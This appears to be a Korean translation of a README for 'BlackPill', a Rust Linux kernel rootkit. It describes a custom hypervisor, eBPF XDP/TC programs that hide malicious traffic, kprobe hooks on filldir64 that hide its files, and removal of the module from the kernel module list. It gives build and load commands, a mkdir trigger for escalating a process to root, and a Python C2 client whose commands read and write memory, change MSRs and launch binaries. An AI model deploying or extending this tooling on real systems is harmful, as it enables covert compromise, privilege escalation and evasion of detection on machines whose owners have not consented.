
자체 제작한 타입 2 하이퍼바이저와 eBPF XDP 및 TC 프로그램을 사용하는 Rust 기반 Linux 커널 루트킷
BlackPill은 Rust로 만들어진 은밀한 Linux 루트킷입니다.
루트킷은 여러 모듈로 구성되어 있습니다 (커널 모듈이 아닌 Rust 모듈을 의미합니다):
아키텍처는 다음과 같습니다:

그리고 다음은 C2에서 VM 게스트로 악성 코드가 실행되는 방식입니다:

C2는 조작된 x86_64 어셈블리 니모닉을 루트킷으로 보내고, 루트킷은 이를 VM 게스트로 보내 실행합니다. VM 게스트는 호스트와 분리되어 있으며 악성 코드를 실행하는 데 사용될 수 있습니다.
커널은 유입되는 악성 패킷을 볼 수 없습니다. eBPF XDP 프로그램이 이를 필터링하여 LKM 모듈로 보내고, 유출되는 패킷은 eBPF TC 프로그램에 의해 수정되기 때문입니다.
[!IMPORTANT]
이 프로젝트는 아직 진행 중입니다. 모든 기능이 작동하는 것은 아닙니다!
이슈나 풀 리퀘스트를 자유롭게 제출해 주세요.
후킹은 루트킷의 기본 기능으로, Linux 커널의 kprobes를 사용하여 구현됩니다. 이 기술은 시스템 함수의 실행을 가로채고 리디렉션하여 동작을 모니터링하거나 수정합니다. 이 루트킷의 맥락에서 kprobes는 소스 코드를 직접 변경하지 않고 커널 함수와 상호 작용할 수 있는 강력한 메커니즘을 제공합니다.
은밀성을 보장하기 위해 루트킷은 두 가지 주요 탐지 방지 메커니즘을 사용합니다:
커널 모듈 목록에서 모듈 제거
커널 모듈이 로드되면 커널의 모듈 목록에 추가되며 lsmod나 /proc/modules 같은 도구로 볼 수 있습니다. 탐지를 방지하려면:
특정 디렉터리를 숨기기 위한 filldir64 함수 후킹
루트킷이 사용하는 파일을 숨기기 위해 filldir64 함수에 후크가 구현됩니다. 이 함수는 프로세스가 디렉터리 내용을 읽을 때(예: getdents 또는 readdir 시스템 콜을 통해) 호출됩니다.
kprobes를 사용하여 filldir64 함수를 가로챕니다./BLACKPILL-BLACKPILL 디렉터리(중요한 루트킷 파일을 저장하는 데 사용됨)와 일치하면 필터링되어 사용자에게 반환되지 않습니다.eBPF XDP 및 TC 프로그램을 사용하여 인그레스 및 이그레스 네트워크 트래픽 수정
악성 네트워크 통신을 정상화하기 위해 eBPF XDP(eXpress Data Path) 및 TC(Traffic Control) 프로그램을 사용합니다. 이를 통해 다음을 수행할 수 있습니다:
우리의 간단한 하이퍼바이저는 다음을 따라 구현되었습니다:
초기 시스템 구성
VMX 또는 SVM 모드 진입
호스트와 게스트 간 전환 관리
게스트 시스템 생성
통신
지속성은 모든 루트킷의 중요한 기능으로, 재부팅 후에도 대상 시스템에 대한 제어를 유지할 수 있게 합니다.
현재 구현에서 지속성 메커니즘은 /bin/touch 명령을 사용하여 파일 시스템에 테스트 파일을 생성함으로써 그 기능을 시연합니다. 이 임시 작업은 루트킷이 권한 있는 작업을 실행할 수 있는 능력을 보여주며, 더 고급 지속성 전략을 구현하도록 확장될 수 있습니다.
APT급 루트킷을 만드는 것이 우리의 우선순위가 아니므로 지금은 쓸모가 없지만, 덜 알려진 개념에 대한 더 많은 연구가 필요합니다.
루트킷을 컴파일하기 전에 여러 단계를 수행해야 합니다. 개발 환경은 다음으로 구성됩니다:
저장소와 얕은 서브모듈을 클론하는 것으로 시작합니다:
git clone [email protected]:DualHorizon/blackpill.git --recursive --depth 1
Arch 기반 배포판에서:
sudo pacman -S qemu-base qemu-desktop docker grub
Arch 기반 Linux 배포판에서 Rust 및 기타 의존성을 설치합니다:
sudo pacman -S rust rust-src rust-bindgen
sudo pacman -S clang lld llvm
그런 다음 Rust 소스와 bindgen이 필요합니다:
rustup component add rust-src clippy rustfmt
cargo install --locked bindgen-cli
linux/ 폴더에서 다음을 실행하여 커널을 Rust로 컴파일할 수 있는지 확인합니다:
$ cd blackpill
$ pushd linux
$ make LLVM=1 rustavailable
Rust is available!
$ popd
커널을 구성하고 컴파일하는 첫 번째 설정 작업을 실행합니다:
make first-time-setup
[!IMPORTANT]
옵션 사용자 지정을 요청받으면 매번 Enter를 누르십시오.
다음 명령으로 Rust 커널 모듈(out-of-tree)을 컴파일할 수 있습니다:
make
다음 명령으로 VM을 실행합니다:
make vm
VM 내부에서는 자동으로 root로 로그인됩니다. 모듈을 활성화할 수 있습니다:
$ modprobe blackpill
# 커널 로그는 다음으로 확인할 수 있습니다
$ dmesg
VM이 시작되면 위의 명령을 사용하여 권한을 상승시킬 수 있습니다:
mkdir ImFeelingRootNow_<PID>
<PID>를 권한을 상승시키려는 프로세스의 프로세스 ID로 바꾸십시오.
이 간단한 C2는 UDP를 통해 감염된 머신에 x86-64 opcode를 보내고 TCP 패킷을 수신합니다. 그 기능은 현재 머신과의 저수준 상호 작용으로 제한되어 있지만, 더 많은 래퍼를 사용하면 많은 실제 사용이 가능할 수 있습니다.
Python 클라이언트를 설정합니다:
cd blackpill-c2
poetry install
poetry shell
python client.py
인수([ip] [port])와 함께 클라이언트를 실행하면 다음을 얻을 수 있습니다:
$ python client.py 0.0.0.0 1339
Connected to rootkit!
그런 다음 help 명령을 사용하여 사용 가능한 명령을 표시할 수 있습니다:
blackpill: help
Available Commands
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Command ┃ Description ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ read_virt_memory <address> │ Read 4 bytes (32 bits) memory at 'address' │
│ write_virt_memory <address> <value> │ Write 4 bytes (32 bits) memory at 'address' │
│ launch_userland_binary <path> │ Launch a userland binary at 'path' │
│ change_msr <msr> <value> │ Change the value of a Model Specific Register (MSR) │
│ read_phys_memory <address> <value> │ Read 4 bytes (32 bits) of physical memory at 'address' │
│ write_phys_memory <address> <value> │ Write 4 bytes (32 bits) of physical memory at 'address' │
│ stop_execution │ Stop the execution of the guest VM │
│ change_vmcs_field <field> <value> │ Change a VMCS field to 'value' │
│ help │ Show this help message │
└─────────────────────────────────────┴─────────────────────────────────────────────────────────┘
환경 설정: